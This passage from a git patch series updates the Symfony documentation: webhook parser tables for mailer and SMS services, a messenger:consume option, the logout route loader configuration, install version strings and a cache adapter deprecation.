 path behind the domain you're using.

From 4336b8735cf2e22004c51302d7b5678afab3e32e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 12:15:00 +0100
Subject: [PATCH 4162/5766] -

---
 reference/configuration/framework.rst | 4 ----
 webhook.rst                           | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b5a2c547eb1..894cf7a82c5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3550,10 +3550,6 @@ Adds a `Link HTTP header`_ to the response.
 webhook
 ~~~~~~~
 
-.. versionadded:: 6.3
-
-    The Webhook configuration was introduced in Symfony 6.3.
-
 The ``webhook`` option (and its children) are used to configure the webhooks
 defined in your application. Read more about the options in the :ref:`Webhook documentation <webhook>`.
 
diff --git a/webhook.rst b/webhook.rst
index f9bde7451a9..f65760182a8 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -1,10 +1,6 @@
 Webhook
 =======
 
-.. versionadded:: 6.3
-
-    The Webhook component was introduced in Symfony 6.3.
-
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
 events in other Symfony components.

From 82ec06e09fc6b4966276cfecf9075bc7bbe1d52a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Dec 2023 11:41:24 +0100
Subject: [PATCH 4163/5766] [Webhook] Add missing webhook parsers

---
 mailer.rst  |  4 ++--
 webhook.rst | 27 +++++++++++++++++----------
 2 files changed, 19 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3604d423f83..7fe2089d526 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -105,10 +105,10 @@ via a third-party provider:
 Service               Install with                                    Webhook support
 ===================== =============================================== ===============
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Brevo`_              ``composer require symfony/brevo-mailer``
+`Brevo`_              ``composer require symfony/brevo-mailer``       yes
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
-`Mailjet`_            ``composer require symfony/mailjet-mailer``
+`Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
diff --git a/webhook.rst b/webhook.rst
index f9bde7451a9..19122db3b13 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -77,20 +77,27 @@ The Webhook component routing needs to be defined:
             ;
         };
 
-Currently, the following third-party mailer services support webhooks:
+Currently, the following third-party services support webhooks:
+
+======== ==========================================
+Service  Parser service name
+======== ==========================================
+Brevo    ``mailer.webhook.request_parser.brevo``
+Mailgun  ``mailer.webhook.request_parser.mailgun``
+Mailjet  ``mailer.webhook.request_parser.mailjet``
+Postmark ``mailer.webhook.request_parser.postmark``
+Sendgrid ``mailer.webhook.request_parser.sendgrid``
+Vonage   ``notifier.webhook.request_parser.vonage``
+======== ==========================================
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-Sendgrid        ``mailer.webhook.request_parser.sendgrid``
-=============== ==========================================
+.. versionadded:: 6.3
 
-.. versionadded:: 6.4
+    The support for Mailgun and Postmark was introduced in Symfony 6.3.
 
-    Webhook support for the Sendgrid service was introduced in Symfony 6.4.
+.. versionadded:: 6.4
 
+    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
+    Symfony 6.4.
 
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``

From cc8abdd50c873b90d44ff91291c33fc9df0bb152 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 13:25:01 +0100
Subject: [PATCH 4164/5766] -

---
 webhook.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 4e7377cf730..74e48499937 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -86,15 +86,6 @@ Sendgrid ``mailer.webhook.request_parser.sendgrid``
 Vonage   ``notifier.webhook.request_parser.vonage``
 ======== ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Mailgun and Postmark was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
-    Symfony 6.4.
-
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
 path behind the domain you're using.

From 8ebe0dd9de58c25e266bfcc943198f5829006d4f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Dec 2023 14:10:17 +0100
Subject: [PATCH 4165/5766] [Messenger] Add `--all` option to
 `messenger:consume`

---
 messenger.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 133283fe465..adaec5a9883 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -485,6 +485,17 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+If you want to consume messages from all available receivers, you can use the
+command with the ``--all`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume --all
+
+.. versionadded:: 7.1
+
+    The ``--all`` option was introduced in Symfony 7.1.
+
 .. tip::
 
     To properly stop a worker, throw an instance of

From 19a87a6c4ac5b602fd062e0833eda732cd449a3c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 12 Dec 2023 14:14:49 +0100
Subject: [PATCH 4166/5766] Fix indentation

---
 webhook.rst | 52 ++++++++++++++++++++++++++--------------------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 08dd68e3535..d79e1479e08 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -99,34 +99,34 @@ file:
 
 With this done, you can now add a RemoteEvent consumer to react to the webhooks::
 
-use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
-use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
-use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
-use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
-use Symfony\Component\RemoteEvent\RemoteEvent;
-
-#[AsRemoteEventConsumer('mailer_mailgun')]
-final readonly class WebhookListener implements ConsumerInterface
-{
-    public function consume(RemoteEvent $event): void
+    use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+    use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+    use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
+    use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
+    use Symfony\Component\RemoteEvent\RemoteEvent;
+
+    #[AsRemoteEventConsumer('mailer_mailgun')]
+    final readonly class WebhookListener implements ConsumerInterface
     {
-        if ($event instanceof MailerDeliveryEvent) {
-            $this->handleMailDelivery($event);
-        } elseif ($event instanceof MailerEngagementEvent) {
-            $this->handleMailEngagement($event);
-        } else {
-            // This is not an email event
-            return;
+        public function consume(RemoteEvent $event): void
+        {
+            if ($event instanceof MailerDeliveryEvent) {
+                $this->handleMailDelivery($event);
+            } elseif ($event instanceof MailerEngagementEvent) {
+                $this->handleMailEngagement($event);
+            } else {
+                // This is not an email event
+                return;
+            }
         }
-    }
 
-    private function handleMailDelivery(MailerDeliveryEvent $event): void
-    {
-        // Handle the mail delivery event
-    }
+        private function handleMailDelivery(MailerDeliveryEvent $event): void
+        {
+            // Handle the mail delivery event
+        }
 
-    private function handleMailEngagement(MailerEngagementEvent $event): void
-    {
-        // Handle the mail engagement event
+        private function handleMailEngagement(MailerEngagementEvent $event): void
+        {
+            // Handle the mail engagement event
+        }
     }
-}

From 31687e431fe5d87216c112ef8151c9618713382a Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 12:33:11 +0100
Subject: [PATCH 4167/5766] [Notifier][Webhook] Added documentation for Webhook
 in combination with the Notifier component

---
 notifier.rst | 16 +++++++++++-----
 webhook.rst  | 47 ++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 57 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 47688a6b1da..29af133278a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,9 +55,9 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==================  =====================================  ===========================================================================
-Service             Package                                DSN
-==================  =====================================  ===========================================================================
+==================  =====================================  ========================================================================================================================= ===============
+Service             Package                                DSN                                                                                                                       Webhook support
+==================  =====================================  ========================================================================================================================= ===============
 `46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 `AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
@@ -95,10 +95,10 @@ Service             Package                                DSN
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
-`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
+`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
-==================  =====================================  ===========================================================================
+==================  =====================================  ========================================================================================================================= ===============
 
 .. versionadded:: 6.1
 
@@ -116,6 +116,12 @@ Service             Package                                DSN
     were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
+.. tip::
+
+    Some third party transports, when using the API, support status callback
+    via webhooks. See the :doc:`Webhook documentation </webhook>` for more
+    details.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
diff --git a/webhook.rst b/webhook.rst
index d79e1479e08..b7457bb2e08 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -106,7 +106,7 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
     use Symfony\Component\RemoteEvent\RemoteEvent;
 
     #[AsRemoteEventConsumer('mailer_mailgun')]
-    final readonly class WebhookListener implements ConsumerInterface
+    class WebhookListener implements ConsumerInterface
     {
         public function consume(RemoteEvent $event): void
         {
@@ -130,3 +130,48 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
             // Handle the mail engagement event
         }
     }
+
+Usage in combination with the Notifier component
+------------------------------------------------
+
+The usage of the Webhook component when using a third-party transport in
+the Notifier is very similar to the usage with the Mailer.
+
+Currently, the following third-party sms transports support webhooks:
+
+============ ==========================================
+SMS service  Parser service name
+============ ==========================================
+Twilio       ``notifier.webhook.request_parser.twilio``
+============ ==========================================
+
+.. versionadded:: 6.3
+
+    The support for Twilio was introduced in Symfony 6.3.
+
+For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
+consumer::
+
+    use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+    use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+    use Symfony\Component\RemoteEvent\Event\Sms\SmsEvent;
+    use Symfony\Component\RemoteEvent\RemoteEvent;
+
+    #[AsRemoteEventConsumer('notifier_twilio')]
+    class WebhookListener implements ConsumerInterface
+    {
+        public function consume(RemoteEvent $event): void
+        {
+            if ($event instanceof SmsEvent) {
+                $this->handleSmsEvent($event);
+            } else {
+                // This is not an sms event
+                return;
+            }
+        }
+
+        private function handleSmsEvent(SmsEvent $event): void
+        {
+            // Handle the sms event
+        }
+    }

From 33ee99fef87909d6116f2eb41a7c08d2002f413f Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 16:07:30 +0100
Subject: [PATCH 4168/5766] [Notifier][Webhook] Updated Webhook-supported
 Notifier bridges for 6.4

---
 notifier.rst |  2 +-
 webhook.rst  | 27 +++++++++++++++------------
 2 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index bd2b6e6a728..24000a21ed6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -99,7 +99,7 @@ Service             Package                                DSN
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 `Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
-`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
+`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ========================================================================================================================= ===============
 
diff --git a/webhook.rst b/webhook.rst
index 81b435f5b1b..602ddab3e38 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -79,16 +79,15 @@ The Webhook component routing needs to be defined:
 
 Currently, the following third-party services support webhooks:
 
-======== ==========================================
-Service  Parser service name
-======== ==========================================
-Brevo    ``mailer.webhook.request_parser.brevo``
-Mailgun  ``mailer.webhook.request_parser.mailgun``
-Mailjet  ``mailer.webhook.request_parser.mailjet``
-Postmark ``mailer.webhook.request_parser.postmark``
-Sendgrid ``mailer.webhook.request_parser.sendgrid``
-Vonage   ``notifier.webhook.request_parser.vonage``
-======== ==========================================
+============== ==========================================
+Mailer Service Parser service name
+============== ==========================================
+Brevo          ``mailer.webhook.request_parser.brevo``
+Mailgun        ``mailer.webhook.request_parser.mailgun``
+Mailjet        ``mailer.webhook.request_parser.mailjet``
+Postmark       ``mailer.webhook.request_parser.postmark``
+Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+============== ==========================================
 
 .. versionadded:: 6.3
 
@@ -96,8 +95,7 @@ Vonage   ``notifier.webhook.request_parser.vonage``
 
 .. versionadded:: 6.4
 
-    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
-    Symfony 6.4.
+    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
@@ -156,12 +154,17 @@ Currently, the following third-party sms transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 
 .. versionadded:: 6.3
 
     The support for Twilio was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The support for Vonage was introduced in Symfony 6.4.
+
 For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
 consumer::
 

From 890613224c80655759c92eee6a52750387d8fcb7 Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <math.lechat@gmail.com>
Date: Sat, 9 Dec 2023 11:32:23 +0100
Subject: [PATCH 4169/5766] [Routing][Security] Document the
 `LogoutRouteLoader`

---
 security.rst | 160 +++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 124 insertions(+), 36 deletions(-)

diff --git a/security.rst b/security.rst
index d38c9cf731d..6d5cd1b98dc 100644
--- a/security.rst
+++ b/security.rst
@@ -1796,7 +1796,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 main:
                     # ...
                     logout:
-                        path: app_logout
+                        path: /logout
 
                         # where to redirect after logout
                         # target: app_any_route
@@ -1817,11 +1817,10 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 <!-- ... -->
 
                 <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
+                    <logout path="/logout"/>
 
                     <!-- use "target" to configure where to redirect after logout
-                    <logout path="app_logout" target="app_any_route"/>
+                    <logout path="/logout" target="app_any_route"/>
                     -->
                 </firewall>
             </config>
@@ -1838,68 +1837,58 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                // the argument can be either a route name or a path
-                ->path('app_logout')
+                ->path('/logout')
 
                 // where to redirect after logout
                 // ->target('app_any_route')
             ;
         };
 
-Next, you need to create a route for this URL (but not a controller):
+Symfony will then un-authenticate users navigating to the configured ``path``,
+and redirect them to the configured ``target``.
 
-.. configuration-block::
-
-    .. code-block:: php-attributes
+.. tip::
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+    If you need to reference the logout path, you can use the ``_logout_<firewallname>``
+    route name (e.g. ``_logout_main``).
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+If your project does not use :ref:`Symfony Flex <symfony-flex>`, make sure
+you have imported the logout route loader in your routes:
 
-        class SecurityController extends AbstractController
-        {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
-            public function logout(): never
-            {
-                // controller can be blank: it will never be called!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+.. configuration-block::
 
     .. code-block:: yaml
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+        # config/routes/security.yaml
+        _symfony_logout:
+            resource: security.route_loader.logout
+            type: service
 
     .. code-block:: xml
 
-        <!-- config/routes.xml -->
+        <!-- config/routes/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="GET"/>
+            <import resource="security.route_loader.logout" type="service"/>
         </routes>
 
     .. code-block:: php
 
-        // config/routes.php
+        // config/routes/security.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes): void {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
+        return static function (RoutingConfigurator $routes): void {
+            $routes->import('security.route_loader.logout', 'service');
         };
 
-That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Routing\\LogoutRouteLoader` was
+    introduced in Symfony 6.4.
 
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -1989,6 +1978,105 @@ to execute custom logic::
         }
     }
 
+Customizing Logout Path
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Another option is to configure ``path`` as a route name. This can be useful
+if you want logout URIs to be dynamic (e.g. translated according to the
+current locale). In that case, you have to create this route yourself:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path:
+                en: /logout
+                fr: /deconnexion
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET">
+                <path locale="en">/logout</path>
+                <path locale="fr">/deconnexion</path>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes): void {
+            $routes->add('app_logout', [
+                'en' => '/logout',
+                'fr' => '/deconnexion',
+            ])
+                ->methods(['GET'])
+            ;
+        };
+
+Then, pass the route name to the ``path`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <logout path="app_logout"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+            ;
+        };
+
 .. _retrieving-the-user-object:
 
 Fetching the User Object

From 95c1187e2e3d2cd9a93ca2ab78479d3c072cdbb0 Mon Sep 17 00:00:00 2001
From: Louis-Marie <lm.gabo@gmail.com>
Date: Wed, 13 Dec 2023 08:47:24 +0100
Subject: [PATCH 4170/5766] Remove @dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5ca27ea8527..d7b8feaf4be 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.4.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.4.*@dev"
+    $ symfony new my_project_directory --version="6.4.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 457d5e566b21758cc2b84f987eef3d56388f4ab4 Mon Sep 17 00:00:00 2001
From: Louis-Marie <lm.gabo@gmail.com>
Date: Wed, 13 Dec 2023 08:50:00 +0100
Subject: [PATCH 4171/5766] Remove @dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 49b6f9482de..7da5a5fcb12 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.0.*@dev" --webapp
+    $ symfony new my_project_directory --version="7.0.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.0.*@dev"
+    $ symfony new my_project_directory --version="7.0.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 46de3924533620cd415c2f5f3d5123b134c96da7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Dec 2023 08:52:43 +0100
Subject: [PATCH 4172/5766] [Cache] Deprecate `CouchbaseBucketAdapter`

---
 components/cache/adapters/couchbasebucket_adapter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index c279e1f8780..8927a8c53f8 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,12 @@
 Couchbase Bucket Cache Adapter
 ==============================
 
+.. deprecated:: 7.1
+
+    The ``CouchbaseBucketAdapter`` is deprecated since Symfony 7.1, use the
+    :doc:`CouchbaseCollectionAdapter </components/cache/adapters/couchbasecollection_adapter>`
+    instead.
+
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
 :doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's

From 62b41a0cd5c01d15731d637a00a1799e61b767b9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 13 Dec 2023 09:36:51 +0100
Subject: [PATCH 4173/5766] remove 6.x versionnaded in webhook

---
 webhook.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 889f6bac174..8be38d80408 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -145,14 +145,6 @@ Twilio       ``notifier.webhook.request_parser.twilio``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Twilio was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The support for Vonage was introduced in Symfony 6.4.
-
 For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
 consumer::
 

From 6de3f76d83cae369726403e8af132cadfa492da3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Dec 2023 10:30:46 +0100
Subject: [PATCH 4174/5766] remove versionadded directive for Symfony 6

---
 security.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security.rst b/security.rst
index 2c67ec8d073..e275ec4add0 100644
--- a/security.rst
+++ b/security.rst
@@ -1857,11 +1857,6 @@ you have imported the logout route loader in your routes:
             $routes->import('security.route_loader.logout', 'service');
         };
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Routing\\LogoutRouteLoader` was
-    introduced in Symfony 6.4.
-
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From bdaed89e5e388875256e3528154ea39bfd0da078 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Dec 2023 16:43:30 +0100
Subject: [PATCH 4175/5766] Minor tweak

---
 routing.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index 66cd714e782..4b109a5f166 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1603,14 +1603,11 @@ information in a controller via the ``Request`` object::
         }
     }
 
-To get this information in a service, see :doc:`/service_container/request`.
-In templates, you can use the :ref:`Twig global app variable <twig-app-variable>` to get
-the current route and its attributes:
-
-.. code-block:: twig
-
-    {% app.current_route %}
-    {% app.current_route_parameters %}
+In services, you can get this information by
+:doc:`injecting the RequestStack service </service_container/request>`.
+In templates, use the :ref:`Twig global app variable <twig-app-variable>`
+to get the current route name (``app.current_route``) and its parameters
+(``app.current_route_parameters``).
 
 .. versionadded:: 6.2
 

From dbc790bab4fa9058e11b31bfe9b2f672c20f246e Mon Sep 17 00:00:00 2001
From: Thomas Durand <thomas.durand.verjat@gmail.com>
Date: Thu, 14 Dec 2023 01:18:31 +0100
Subject: [PATCH 4176/5766] Added a paragraph about HttpOptions object

A note will be added for 7.1 to warn about the override behavior of ->setHeaders instead of newly added ->addHeader
---
 http_client.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index d05977e7155..137933a36e1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -149,6 +149,16 @@ method to retrieve a new instance of the client with new default options::
 
     The ``withOptions()`` method was introduced in Symfony 5.3.
 
+Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class brings most of the available options with
+type-hinted getters and setters::
+
+    $this->client = $client->withOptions(
+        (new HttpOptions())
+            ->setBaseUri('https://...')
+            ->setHeaders(['header-name' => 'header-value'])
+            ->toArray()
+    );
+
 Some options are described in this guide:
 
 * `Authentication`_

From 4d203f08b5bd5240fffd437b9fbbceeaadfed4cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tomas=20Nork=C5=ABnas?= <norkunas.tom@gmail.com>
